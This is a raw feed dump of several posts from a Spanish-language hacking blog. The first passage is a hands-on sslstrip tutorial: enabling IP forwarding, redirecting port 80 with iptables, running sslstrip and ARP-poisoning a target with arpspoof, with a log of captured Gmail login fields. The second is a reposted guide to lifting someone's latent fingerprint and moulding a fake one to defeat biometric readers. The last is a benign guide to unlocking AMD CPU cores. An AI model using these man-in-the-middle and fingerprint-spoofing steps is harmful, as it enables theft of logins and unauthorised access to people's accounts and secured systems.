id="BLOGGER_PHOTO_ID_5543667620230458770" border="0" /><div style="text-align: justify;">voy a explicarlo para debian/ubuntu, si tienen fedora o derivados cambien x yum. 1ero instalamos python y python-twisted-web:</div><div><br /></div><div><i>apt-get install python python-twisted-web</i></div><div><br /></div><div style="text-align: justify;">despues descargamos sslstrip, pueden buscar algun link o bajarlo de la pagina del autor:</div><div><br /></div><div><i>http://www.thoughtcrime.org/software/sslstrip/</i></div><div><br /></div><div style="text-align: justify;">podemos hacer 2 cosas, instalarlo o correrlo desde el directorio de descarga. para instalarlo:</div><div><br /></div><div><i>python ./setup.py install</i></div><div><br /></div><div style="text-align: justify;">de esta manera queda accesible desde la consola, sino para ejecutarlo:</div><div><br /></div><div><i>python sslstrip.py (opciones)</i></div><div><br /></div><div><br /></div><div><b><span class="Apple-style-span"><span style="font-size:130%;"><span style="color: rgb(255, 255, 51);">el ataque</span></span></span></b></div><div><br /></div><div style="text-align: justify;">lo 1ero es activar el reenvio de paquetes, esto lo hacemos cambiando de 0 a 1 el valor del archivo ip_forward q se encuentra en /proc/sys/net/ipv4/, editandolo o simplemente poniendo en la consola:</div><div><br /></div><div><i>echo "1" &gt; /proc/sys/net/ipv4/ip_forward</i></div><div><br /></div><div style="text-align: justify;">despues configuramos iptables para q reenvie el trafico a ssltrip, el puerto q queremos redirigir es el 80 hacia el 10000 q es el default del programa. si quieren usar otro puerto x alguna razon este es el momento de elegirlo, despues al lanzarlo se puede cambiar. el comando seria:</div><div><br /></div><div><i>iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000 (o el q quieran)</i></div><div><br /></div><div>ahora corremos sslstrip, si lo instalaron simplemente:</div><div><br /></div><div><i>sslstrip -w nombrearchivo</i></div><div><br /></div><div style="text-align: justify;">donde "nombrearchivo" es 1 nombre para el archivo donde van a quedar logueados los datos. si cambiamos el puerto usamos el modificador -l:</div><div><br /></div><div><i>sslstrip -w nombredearchivo -l numdepuerto</i></div><div><br /></div><div>si todo esta bien instalado deberiamos ver esto:</div><div><br /></div><div><i>sslstrip 0.6 by Moxie Marlinspike running...</i></div><div><br /></div><div style="text-align: justify;">ahora solo falta hacer el envenenamiento arp para q la otra maquina nos mande su trafico, podemos usar exactamente el mismo metodo de la entrada q cite antes y el resultado simplemente seria q el objetivo no tendria el famoso mensaje del certificado ya que el trafico pasaria x el puerto 80, el user/pass saldria en la pantalla inferior como cualquier pass de texto plano y a su vez se puede ver en el log de ssltrip:</div><div><br /></div><div><i>2010-11-25 19:48:39,529 SECURE POST Data (www.google.com):</i></div><div><i>ltmpl=default&amp;ltmplcache=2&amp;continue=http%3A%2F%2Fmail.google.com%2Fmail%</i></div><div><i>2F%3F&amp;service=mail&amp;rm=false&amp;dsh=3151454474180978812&amp;ltmpl=default&amp;hl=en</i></div><div><i>&amp;ltmpl=default&amp;scc=1&amp;ss=1&amp;timeStmp=&amp;secTok=&amp;GALX=HirBaqYb1RQ&amp;Email=</i></div><div><i><strong><span style="color: rgb(255, 0, 0);">ACA_SALE_EL_CORREO</span></strong>&amp;Passwd=<strong><span style="color: rgb(255, 0, 0);">ACA_LA_PASSWORD</span></strong>&amp;rmShown=1&amp;signIn</i></div><div><i>=Sign+in&amp;asts=</i></div><div><i><br /></i></div><div><img src="http://3.bp.blogspot.com/_rgCsrVyHiHw/TO8ISlBTHfI/AAAAAAAAAOA/MNWjEYA2e0M/s320/lock-open-door-iron-old.jpeg" style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 320px; height: 258px;" alt="" id="BLOGGER_PHOTO_ID_5543658781584596466" border="0" /></div><div style="text-align: justify;">pero podemos hacerlo mas facil para no tener q usar ettercap simplemente instalando la suite dsniff:</div><div><br /></div><div><i>apt-get install dsniff</i></div><div><br /></div><div style="text-align: justify;">dsniff daria como para otra entrada completa pero ahora vamos a usar solamente arpspoof para hacer el envenenamiento. despues de instalar dsniff ponemos en la consola:</div><div><br /></div><div><i>arpspoof -i interface (eth0, wlan0, ath0 o la q sea) -t target (maquina objetivo) gateway (el router)</i></div><div><br /></div><div>x ej:</div><div><br /></div><div><i>arpspoof -i eth0 -t 192.168.1.10 192.168.1.1</i></div><div><br /></div><div>en la consola veriamos algo como esto repetirse una y otra vez:</div><div><br /></div><div><i>0:5:4e:4d:15:30 0:1e:e5:fc:10:65 0806 42: arp reply 192.168.1.1 is-at 0:5:4e:4d:15:30</i></div><div><br /></div><div style="text-align: justify;">0:5:4e:4d:15:30 es nuestra mac, q queremos q el objetivo (0:1e:e5:fc:10:65) crea q es el router, entonces lo q le decimos es q 192.168.1.1 (el router) esta en (is-at) nuestra mac (0:5:4e:4d:15:30)</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">si hacemos en el objetivo 1 arp -a vamos a ver que nuestra ip y el router tienen la misma mac, el envenenamiento tuvo exito.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">sslstrip ya esta capturando trafico ssl y guardandolo en el log, solo hay q abrirlo y ver q hay...</div><div><br /></div><br /><br /><div style="text-align: center;"><a rel="license" href="http://creativecommons.org/licenses/by-nc-nd/3.0/"><img alt="Licencia de Creative Commons" style="border-width:0" src="http://i.creativecommons.org/l/by-nc-nd/3.0/88x31.png" /></a><br /><span dct="http://purl.org/dc/terms/" href="http://purl.org/dc/dcmitype/Text" property="dct:title" rel="dct:type" style="font-size:85%;">SSLStrip</span><span style="font-size:85%;"> by <a cc="http://creativecommons.org/ns#" href="http://locvtvs.blogspot.com/2010/11/sslstrip-esta-tecnica-fue-presentada-en.html" property="cc:attributionName" rel="cc:attributionURL">|_ocutus</a> is licensed under a <a rel="license" href="http://creativecommons.org/licenses/by-nc-nd/3.0/">Creative Commons Atribución-NoComercial-SinDerivadas 3.0 Unported License</a>.</span><br /></div><div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3031385326498684086-7277976038454260201?l=locvtvs.blogspot.com' alt='' /></div>|_ocutushttp://www.blogger.com/profile/02250837178980619341noreply@blogger.com0tag:blogger.com,1999:blog-3031385326498684086.post-40453396120448128572010-07-14T17:09:00.025-03:002010-07-15T21:37:18.992-03:00<div style="text-align: center;"><u><span class="Apple-style-span" style="color:#0000EE;"><br /></span></u></div><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_rgCsrVyHiHw/TD4lg1bTPWI/AAAAAAAAAMs/UeMQ3zOsLwI/s1600/avatar.png"><img style="float:right; margin:0 0 10px 10px;cursor:pointer; cursor:hand;width: 120px; height: 150px;" src="http://3.bp.blogspot.com/_rgCsrVyHiHw/TD4lg1bTPWI/AAAAAAAAAMs/UeMQ3zOsLwI/s320/avatar.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5493869841466211682" /></a><div style="text-align: justify;">este tutorial fue escrito x mi amigo Alesteir hace unos 2 años en 1 momento muy especial, en 1 foro q en su nombre lleva la palabra "hacker" pero ya no queda practicamente ninguno, si quedo mucho warez, porno y algo d offtopic.</div><div><br /></div><div style="text-align: justify;">los otros dias encontre este texto en 1 foro "administrado" x alguien q c negaba a este tipo d temas (sera xq no sabe ni usar 1 proxy xD) y ni siquiera c ponia la fuente.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">no lo encontre completo (y con su fuente correspondiente) en ningun otro lado d la red y me parecio justo q tenga su lugar con el nombre d su autor bien claro.</div><div><br /></div><div><br /></div><div><b><span class="Apple-style-span" style="color:#FFFF00;"><span style="font-size:130%;">Burlando Biometria By Alesteir</span></span></b></div><div><br /></div><div><div style="text-align: justify;">A Continuación os enseñare un método a seguir para falsear huellas dactilares o digitales (como le llaman algunos), lo cual es un método mas para vulnerar cualquier sistema basado en seguridad biométrica de huellas digitales y por ende es de aplicación neta al hacking y a los sistemas informáticos. Para poder falsificar cualquier huella necesitamos encontrar la original primero (es aca donde se puede recurrir a la ingeniería social para conseguir la huella deseada , jejejeje), además de que es necesario poder tener una buena impresión.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">Es aquí donde entra el rollo de la ciencia forense. Hay que entender que las huellas estan compuestas por crestas papilares, son estas crestas -las elevaciones- y surcos (las grietas), las que le dan esa característica única a cda huella, ya que ninguna huella es igual a otra, asi sean de la misma persona, y son los distintos recovecos y formas de estos elementos, los que las hacen únicas e irrepetibles, y para hacer dictamenes se necesitan una cantidad determinada de puntos característicos coincidentes para poder dar un correcto resultado, la clasificación de estos puntos, su topografia, añadidas a otras cuestiones tecnicas son las que forman las bases de la dactiloscopia como ciencia, es por eso que se han usado y se siguen usando las huellas digitales como un método de identificación personal, es sabido que recientemente se usan en cuestiones de biometría, aplicadas a la seguridad en general), hay que tener en cuenta que es la presión ejercida (al tener contacto con superficies de distinto tipo tales como: espejos, vasos y envases, picaportes, vidrios, acetatos, pantallas de pcs y muchos objetos mas), la que determina de que una huella se imprima en una superficie, es cierto que existen otros factores mas que influyen a que una impresión sea buena o no (el polvo es una de ellas), y este es uno de los items determinantes a la hora de hacer una recolección de huellas dactilares (ojo, que las partes lisas -por lógica- son los focos mas frecuentes para encontrar buenas huellas (para clasificar una huella como buena debe verse tan siquiera un 75 % de la misma, aunque también se pueden hacer reconstrucciones a partir de fragmentos) , nunca encontraríamos una huella en una superficie rugosa y con porosidades, ya que no se tendría el suficiente contacto por parte de las crestas de la huella con la superficie. En unas imágenes que se ven mas abajo, se ve una buena impresión dactilar(después de revelada lógicamente), por lo tanto nos valdremos de objetos y elementos caseros, pero que serán efectivos a la hora de hacer una recolección, para posteriormente ser usada, he de advertir que el uso que se le de a esta información solo depende de cada cual.</div><div><br /></div><div style="text-align: justify;">El método hacer una huella visible mas usado desde hace mucho es el de aplicarle un poco de carbón en polvo (el cual lo podemos hacer con un poco de carbón vegetal –pulverizándolo y pasándolo por un cedazo, para dejarlo lo mas fino posible), otra forma es pasando la mina de un lápiz contra una lija, hasta obtener una cantidad suficiente:</div><div><a href="http://3.bp.blogspot.com/_rgCsrVyHiHw/TD4gYWfdljI/AAAAAAAAALU/QTjCBYUZ8wE/s1600/001.jpg"><img src="http://3.bp.blogspot.com/_rgCsrVyHiHw/TD4gYWfdljI/AAAAAAAAALU/QTjCBYUZ8wE/s320/001.jpg" border="0" alt="" id="BLOGGER_PHOTO_ID_5493864198165075506" style="display: block; margin-top: 0px; margin-right: auto; margin-bottom: 10px; margin-left: auto; text-align: center; cursor: pointer; width: 306px; height: 320px; " /></a></div><div style="text-align: justify;">A un pincel de esos que usan las mujeres para aplicarse el rímel en los pómulos (debe ser muy suave y fino) lo untamos con el polvo revelador, y lo pasamos muy suave por el lugar donde se aprecia la huella dactilar.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">Otra método muy casero también pero muy efectivo es: echar unas gotas de pegante instantáneo dentro de una tapa plástica de agua mineral, y lo ponemos sobre la impresión de la forma en que se aprecia en las siguientes imágenes:</div><div><br /></div><div><a href="http://1.bp.blogspot.com/_rgCsrVyHiHw/TD4gsPj4HQI/AAAAAAAAALc/RgVIt3f-3t8/s1600/002.jpg"><img src="http://1.bp.blogspot.com/_rgCsrVyHiHw/TD4gsPj4HQI/AAAAAAAAALc/RgVIt3f-3t8/s320/002.jpg" border="0" alt="" id="BLOGGER_PHOTO_ID_5493864539901926658" style="display: block; margin-top: 0px; margin-right: auto; margin-bottom: 10px; margin-left: auto; text-align: center; cursor: pointer; width: 318px; height: 320px; " /></a></div><div><br /></div><div><br /></div><div><a href="http://1.bp.blogspot.com/_rgCsrVyHiHw/TD4nGhH2qqI/AAAAAAAAAM0/qEnQShgHemA/s1600/003.jpg"><img src="http://1.bp.blogspot.com/_rgCsrVyHiHw/TD4nGhH2qqI/AAAAAAAAAM0/qEnQShgHemA/s320/003.jpg" border="0" alt="" id="BLOGGER_PHOTO_ID_5493871588362594978" style="display: block; margin-top: 0px; margin-right: auto; margin-bottom: 10px; margin-left: auto; text-align: center; cursor: pointer; width: 315px; height: 320px; " /></a></div><div><br /></div><div><br /></div><div><a href="http://2.bp.blogspot.com/_rgCsrVyHiHw/TD4neESJ7QI/AAAAAAAAAM8/sDXoqF5N1u8/s1600/004.jpg"><img src="http://2.bp.blogspot.com/_rgCsrVyHiHw/TD4neESJ7QI/AAAAAAAAAM8/sDXoqF5N1u8/s320/004.jpg" border="0" alt="" id="BLOGGER_PHOTO_ID_5493871992938032386" style="display: block; margin-top: 0px; margin-right: auto; margin-bottom: 10px; margin-left: auto; text-align: center; cursor: pointer; width: 315px; height: 320px; " /></a></div><div style="text-align: justify;">El principal ingrediente del pegante superglue produce una superficie blanca sobre la huella (mas concretamente sobre la grasa), revelándola a nuestros ojos y permitiéndonos hacer una recolección, bien sea física o de soporte fotográfico:</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">La siguiente parte envuelve la recolección física (En caso de que no contemos con cámara digital, pero esta parte la omito por el momento), la cual se hace con un poco de papel Contac, el proceso se hace pegando el papel sobre la impresión ya revelada, una vez la tenemos, procedemos a poner el Contac de nuevo sobre el papel blanco que lo recubre, la escaneamos y seguimos con el procedimiento para hacer el molde para hacer cuantas veces queramos nuestra huella, La clave de todo el proceso es lograr capturar o recolectar una huella fidedigna y casi exacta a la original, la cual al final es la que nos permitirá hacernos con nuestra goma o huella postiza lista para usar, para ello debemos usar un papel acetato transparente, del usado en los proyectores e imprimir las huellas con una impresora laser (es la capa que deja el toner al imprimir la clave de todo el cuento):</div><div><br /></div><div><a href="http://3.bp.blogspot.com/_rgCsrVyHiHw/TD4nz9wPiZI/AAAAAAAAANE/TZ0t2f1bwl0/s1600/005.jpg"><img src="http://3.bp.blogspot.com/_rgCsrVyHiHw/TD4nz9wPiZI/AAAAAAAAANE/TZ0t2f1bwl0/s320/005.jpg" border="0" alt="" id="BLOGGER_PHOTO_ID_5493872369142303122" style="display: block; margin-top: 0px; margin-right: auto; margin-bottom: 10px; margin-left: auto; text-align: center; cursor: pointer; width: 313px; height: 320px; " /></a></div><div style="text-align: justify;">La impresora laser deja un pequeño pero eficiente relieve para nuestros designios que por cierto imprime la huella al revés, y como lo que necesitamos es un negativo, pues genial) esto es lo que vamos a aprovechar para crear nuestra goma:</div><div><br /></div><div><a href="http://2.bp.blogspot.com/_rgCsrVyHiHw/TD4oKEmlSHI/AAAAAAAAANM/nfO44tC4XHI/s1600/006.jpg"><img src="http://2.bp.blogspot.com/_rgCsrVyHiHw/TD4oKEmlSHI/AAAAAAAAANM/nfO44tC4XHI/s320/006.jpg" border="0" alt="" id="BLOGGER_PHOTO_ID_5493872748937955442" style="display: block; margin-top: 0px; margin-right: auto; margin-bottom: 10px; margin-left: auto; text-align: center; cursor: pointer; width: 312px; height: 320px; " /></a></div><div style="text-align: justify;">Una vez tenemos las impresiones dactilares en el acetato procedemos a cubrir la huella con un poco de pegante para madera o Colbon que llaman:</div><div><br /></div><div><a href="http://2.bp.blogspot.com/_rgCsrVyHiHw/TD4oa-WS8KI/AAAAAAAAANU/d1yuTFupWKw/s1600/007.jpg"><img src="http://2.bp.blogspot.com/_rgCsrVyHiHw/TD4oa-WS8KI/AAAAAAAAANU/d1yuTFupWKw/s320/007.jpg" border="0" alt="" id="BLOGGER_PHOTO_ID_5493873039316807842" style="display: block; margin-top: 0px; margin-right: auto; margin-bottom: 10px; margin-left: auto; text-align: center; cursor: pointer; width: 314px; height: 320px; " /></a></div><div><br /></div><div><br /></div><div><a href="http://3.bp.blogspot.com/_rgCsrVyHiHw/TD4o3GD6aXI/AAAAAAAAANc/piMrxuRBsEs/s1600/008.jpg"><img src="http://3.bp.blogspot.com/_rgCsrVyHiHw/TD4o3GD6aXI/AAAAAAAAANc/piMrxuRBsEs/s320/008.jpg" border="0" alt="" id="BLOGGER_PHOTO_ID_5493873522423523698" style="display: block; margin-top: 0px; margin-right: auto; margin-bottom: 10px; margin-left: auto; text-align: center; cursor: pointer; width: 301px; height: 320px; " /></a></div><div style="text-align: justify;">(para hacerlo mas manejable, le agregamos un poco de glicerina)</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">Repartimos bien el pegante hasta formar una capa, esperamos a que se seque el pegante.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">Separamos la goma seca de la hoja de acetato.</div><div><br /></div><div><a href="http://4.bp.blogspot.com/_rgCsrVyHiHw/TD4pIpkt9YI/AAAAAAAAANk/aG6TvtMSs48/s1600/009.jpg"><img src="http://4.bp.blogspot.com/_rgCsrVyHiHw/TD4pIpkt9YI/AAAAAAAAANk/aG6TvtMSs48/s320/009.jpg" border="0" alt="" id="BLOGGER_PHOTO_ID_5493873824014136706" style="display: block; margin-top: 0px; margin-right: auto; margin-bottom: 10px; margin-left: auto; text-align: center; cursor: pointer; width: 310px; height: 320px; " /></a></div><div style="text-align: justify;">La recortamos al tamaño de nuestro dedo.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">Ya para terminar con un poco de pegante natural o de teatro pegamos nuestro huella falseada a nuestro propio dedo</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">Listo!, ya tenemos nuestra huella trucada ¡</div></div><div><br /></div><div><a href="http://2.bp.blogspot.com/_rgCsrVyHiHw/TD4pZnkraUI/AAAAAAAAANs/FiyWTvKVNKQ/s1600/010.jpg"><img src="http://2.bp.blogspot.com/_rgCsrVyHiHw/TD4pZnkraUI/AAAAAAAAANs/FiyWTvKVNKQ/s320/010.jpg" border="0" alt="" id="BLOGGER_PHOTO_ID_5493874115534874946" style="display: block; margin-top: 0px; margin-right: auto; margin-bottom: 10px; margin-left: auto; text-align: center; cursor: pointer; width: 318px; height: 320px; " /></a></div><div><br /></div><div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3031385326498684086-4045339612044812857?l=locvtvs.blogspot.com' alt='' /></div>|_ocutushttp://www.blogger.com/profile/02250837178980619341noreply@blogger.com7tag:blogger.com,1999:blog-3031385326498684086.post-25780692693795560762010-06-29T18:17:00.018-03:002010-07-15T21:36:53.375-03:00<div style="text-align: center;"><br /></div><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://img251.imageshack.us/img251/7365/unlockm.png"><img style="float:right; margin:0 0 10px 10px;cursor:pointer; cursor:hand;width: 320px; height: 214px;" src="http://img251.imageshack.us/img251/7365/unlockm.png" border="0" alt="" /></a><div style="text-align: justify;">a quien no le gustaria pagar casi la mitad x un micro d 4 nucleos? bueno... no es muy dificil, en la mayoria d los ultimos modelos d AMD se pueden liberar nucleos ocultos.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">como a la gente le gusta cada vez mas "tocar" el hardware, los motherboards vienen con mas y mas opciones para manejar voltajes y frecuencias y eso hace q c puedan hacer cosas interesantes. lo q antes era 1 dolor d cabeza cuando teniamos q meter jumpers para configurar dmas, irqs, multiplicadores y otras porquerias, ahora aparece como opcion en casi cualquier mobo q c respete.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">hace unos meses vole mi mobo asus mn2-sli deluxe... chipset... irreparable, en su momento lo pague algo asi como 250usd, no duro 3 años. conclusion despues d llevarlo a un ingeniero q fue el ultimo recurso, no comprar mobos caros, son los q mas c rompen y los q menos c pueden reparar, un asus standard es suficiente. entonces fui y compre un modesto M4A785-M.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">tenia 1 athlonX2 5600 q d paso decidi cambiar, las opciones estaban entre un phenomII x3 o x4. el x4 era el 920 y el x3 720 pero "black edition", entre otras cosas es altamente overclockeable y la diferencia d precio era mucha asi q fui x el ultimo.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">... suerte q compre s xq ahora es 920, y lastima q no compre el x2 550 o 555 xq hubiera sido lo mismo pero mas barato todavia xD</div><br /><br /><b><span class="Apple-style-span" style="font-size:large;"><span class="Apple-style-span" style="color:#FFFF00;">binning</span></span></b><br /><br /><img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 320px; height: 287px;" src="http://img84.imageshack.us/img84/1736/phenomiix2255blackediti.jpg" border="0" alt="" /><div style="text-align: justify;">"binning" es el proceso q hace el fabricante para testear los chips y asignarlos segun los resultados a la linea d productos q le corresponde. los chips q soportan altas velocidades con todos sus cores funcionando a la perfeccion van a la linea d punta, los q fallan c van asignando a velocidades a las q c comportan d manera estable y del mismo modo c desactivan los cores q presentan fallas.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">esto x supuesto no es tan asi, cuando c lanza una nueva linea hay muchos fallos en la produccion q despues c van corrigiendo hasta q 1 porcentaje muy bajo presenta fallas. como todos los micros son fabricados con 4 nucleos llega un momento q por razones d mercado hay q desactivar si o si algunos para vender los x2 y x3... no todo el mundo (como yo) quiere gastar lo q vale el x4.</div><div style="text-align: justify;"><br /></div><div><div style="text-align: justify;">en la foto d arriba c pueden apreciar perfectamente los 4 nucleos en el 550.</div><br /><br /><b><span class="Apple-style-span" style="font-size:large;"><span class="Apple-style-span" style="color:#FFFF00;">AMD</span></span></b><br /><br /><div style="text-align: justify;">en realidad AMD nunca tuvo una posicion demasiado clara sobre el tema, x 1 lado c beneficia con las ventas ya q mucha gente compra x2 y x3 ya q termina siendo una alternativa baratisima frente al quad-core d intel q cuesta una fortuna. x otro lado c hablo en 1 momento d q estaban forzando a algunos fabricantes d mobos a blockear la opcion en futuras actualizaciones d bios, cosa q parece q no paso con asus xq el mio tiene bios d enero d este año y desblockeo sin problemas.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">c hacen cargo d todo el tema y x supuesto no ofrecen ningun soporte ante fallas en el desblockeo, si ellos lo blockearon x algo sera ;)</div><br /><br /><b><span class="Apple-style-span" style="font-size:large;"><span class="Apple-style-span" style="color:#FFFF00;">tambien puede no funcionar...</span></span></b><br /><br /><img style="float:right; margin:0 0 10px 10px;cursor:pointer; cursor:hand;width: 320px; height: 240px;" src="http://i28.tinypic.com/flkegx.jpg" border="0" alt="" /><div style="text-align: justify;">antes del proceso aviso q esta la posibilidad d q realmente tengan 1 o 2 cores dañados, la verdad q me parece bastante remota si es nuevo xq antes q el mio probe algunos y todos funcionaron, pero puede pasar.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">el problema mas grave es q no bootee la maquina al hacer el cambio, ante esto con 1 simple reset d bios alcanza para tenerla otra vez funcionando, tengan a mano el manual del mobo x las dudas...</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">tambien puede arrancar y despues ser inestable, aca ya entramos en otro terreno. tal vez c pueda llegar a estabilizar subiendo el voltaje al micro pero no recomiendo tocar esas cosas si no saben lo q estan haciendo. el sintoma son cuelgues, pantallas azules en win, etc. en 1 palabra... inestabilidad.</div><br /><br /><b><span class="Apple-style-span" style="font-size:large;"><span class="Apple-style-span" style="color:#FFFF00;">motherboard</span></span></b><br /><br /><img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 280px; height: 270px;" src="http://img822.imageshack.us/img822/824/m4a785m.jpg" border="0" alt="" /><div style="text-align: justify;">el mobo tiene q soportar la opcion ACC (Automatic Clock Calibration) o NCC (NVidia Clock Calibration) q es la respuesta de nVidia a esta nueva "moda". hay distintos modelos d chipsets q lo permiten segun la marca yendo desde precios economicos hasta la alta gama. busquen la opcion en el bios, o si van a comprar haciendo una busqueda en google c pueden checkear los modelos con soporte.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">esta es 1 pequeña lista d mobos en los que se llevo a cabo el proceso con exito:</div><br /><p><br /></p><p><br /></p><p><b><span class="Apple-style-span" style="font-size:large;">Asus</span></b><br /></p>GeForce 8300<br />M4N78 Pro - 1004 Official Bios<br /><br />nForce 980a SLI<br />M4N82 Deluxe - 0906 Official Bios<br /><br />770G/SB710<br />M4A77TD PRO - 1007/0316 Official Bios<br /><br />785G/SB710<br />M4A785D-M PRO - 405 Official Bios<br />M4A785M - 0503 Official Bios<br /><br />785G/SB750<br />M4A785TD-V EVO - 0410/0602 Official Bios<br /><br />790X/SB750<br />M4A79XTD EVO - 0605/0704 Official Bios<br /><br />790FX/SB750<br />M3A79-T Deluxe – 0030 Mod Bios<br />M4A79 Deluxe – 1602 Official Bios<br />M4A79T Deluxe – 0079 Mod Bios/1801 Official Bios<br />Crosshair III Formula - 0702 / 1003<br /><br />790GX/SB750<br />M3A78-T – 0023 Mod Bios<br />M4A78-E – 1204/1803 Official Bios<br />M4A78-E SE – 0023 Mod Bios<br />M4A78T-E – 1402 Official Bios<br /><br />890GX/SB850<br />M4A89GTD-PRO/USB3 - 0307 Official Bios<br /><p><br /></p><b><span class="Apple-style-span" style="font-size:large;">Asrock</span></b><br /><br />780G/SB710<br />A780GMH/128M - 1.50 Bios<br /><br />785G/SB750<br />A785GMH/128M - 1.00 Bios<br /><br />790GX/SB750<br />AOD790GX/128M – 1.40 Bios<br />A790GMH/128M - 1.20 Bios<br />A790GXH/128M – 1.20 Bios<br />A790GX/128M - ???<br /><p><br /></p><b><span class="Apple-style-span" style="font-size:large;">Biostar</span></b><br /><br />785G/SB710<br />TA785GE 128m - 88GCO720CE Mod Bios<br /><br />790GX/SB750<br />TA790GXBE<br />TA790GX A3+ - 78DAA616 Mod bios<br />TA790GX 128M – 78DEA113 Official bios<br />TA790GX3 A2+ - A78DA113<br />TA790GX A2+ - 78DBA113 Official bios - SUCCESS!!<br /><p><br /></p><b><span class="Apple-style-span" style="font-size:large;">DFI</span></b><br /><br />790FX/SB750<br />DK 790FXB-M3H5 – 04/02/2009 Bios<br />DK 790FXB-M2RSH – 03/10/2009 Bios<br />DK 790FXB-M2RS - 02/24/2009 Bios<br /><br />790GX/SB750<br />JR 790GX-M2RS – 10/30/2008 Bios – SUCCESS!!<br /><br /><br /><b><span class="Apple-style-span" style="font-size:large;">Gigabyte</span></b><br /><br />nForce 720D<br />GA-M720-US3 - F4 Bios<br /><br />760G/SB710<br />GA-MA78LM-S2 - F1 Bios<br /><br />770X/SB710<br />GA-770TA-UD3 - F1 Bios<br />GA-MA770T-UD3P - F2c/F3 Bios<br /><br />785G/SB710<br />GA-MA785GM-US2H - F5 bios<br />GA-MA785GMT-UD2H - F3/F5 Bios<br /><br />785GX/SB750<br />GA-MA785G-UD3H - F1/F5b Bios<br />GA-MA785GT-UD3H - F4/F5a Bios<br />GA-785GMT-USB3 - F1 Bios<br /><br />790X/SB750<br />GA-MA790X-UD3P - F4 Bios<br />GA-MA790X-UD4 – F3 Bios<br />GA-MA790X-UD4P – F5/F7/F9 Bios<br />GA-MA790XT-UD4P - F4G/F5/F6/F7 Bios<br /><br />790FX/SB750<br />GA-MA790FX-UD5P - F4c Bios<br />GA-MA790FXT-UD5P – F3b/F5 Bios<br /><br />790GX/SB750<br />GA-MA790GP-DS4H – F3h Bios<br />GA-MA790GP-UD3H - F1 Bios<br />GA-MA790GP-UD4H – F3h Bios<br />GA-MA790GPT-UD3H - F2 Bios<br /><p><br /></p><b><span class="Apple-style-span" style="font-size:large;">MSI</span></b><br /><br />770X/SB710<br />770-C45 – 1.3 Offical Bios/1.3B2 Special Bios/10.2<br /><br />785G/SB710<br />785GT-E63 - 28.0 08/13/2009 Bios<br />785GTM-E45 - 8.0 09/07/2009 Bios<br />785GM-E65 - 2.3 Official Bios<br /><br />790FX/SB750<br />790FX-GD70 – 1.5B1/1.5B2/1.5B3/1.7 Bios<br /><br />790GX/SB750<br />790GX-G65 – 1.4B2 Special Bios<br />DKA790GX - 1.8 Bios for Platinum version of mobo<br />DKA790GX Platinum – 1.9b2 Bios<br /><br />KA790GX - No funciona<br />KA790GX-M - No funciona<br /><br />estos 2 ultimos mobos a pesar d tener el southbridge sb750 q es capaz d desbloquear tienen la opcion anulada.<br /><br /><br /><b><span class="Apple-style-span" style="font-size:large;"><span class="Apple-style-span" style="color:#FFFF00;">micro</span></span></b><br /><br /><span class="Apple-style-span" style="color: rgb(85, 26, 139); -webkit-text-decorations-in-effect: underline; "><img src="http://img205.imageshack.us/img205/9130/l02903732.jpg" border="0" alt="" style="float: right; margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 10px; cursor: pointer; width: 320px; height: 284px; " /></span><div style="text-align: justify;">el micro depende d lo q quieran gastar y lo q quieran tener, los phenomII x2 y x3 son desbloqueables a x4 y los x4 con un poco d suerte a x6. para los q quieran gastar menos los sempron tambien son desbloqueables, x ej el sempron 140 c puede llevar a athlonII X2.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">para comprar yo compraria un x2 550 o 555 black edition por la relacion calidad/precio. hay q tener en cuenta q esta edicion esta hecha para soportar overclocking y x lo tanto es mas estable q uno comun, 130usd aprox me parece un muy buen precio x 4 nucleos.</div><br /><br /><b><span class="Apple-style-span" style="font-size:large;"><span class="Apple-style-span" style="color:#FFFF00;">el proceso</span></span></b><br /><br /><div style="text-align: justify;">el proceso es el mas sencillo del mundo, solo hay q buscar la opcion en el bios y ponerla en auto. en el caso del M4A785-M fui a "advanced" y dentro d la conf del micro a:</div><br />ADVANCED CLOCK CALIBRATION -> AUTO<br /><br />con esto c abrio otra opcion llamada "unleashing mode", tambien la active:<br /><br />UNLEASING MODE -> ENABLED<br /><br />y despues aparecio donde pregunta si c quieren usar 3 o 4 cores:<br /><p><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 491px; height: 215px;" src="http://img97.imageshack.us/img97/8306/asusunlock2.png" border="0" alt="" /></p><p><br /></p><p>ACTIVE CPU CORES -> 4 CORE OPERATION<br /></p><br /><div style="text-align: justify;">al reiniciar me salio el msg "4 cores are activated" y despues d unas horas d test parece q todo esta ok.</div></div><div><br /></div><div><br /></div><div><b><span class="Apple-style-span" style="font-size:large;"><span class="Apple-style-span" style="color:#FFFF00;">ANTES</span></span></b></div><div><br /></div><div><span class="Apple-style-span" style="color: rgb(0, 0, 238); 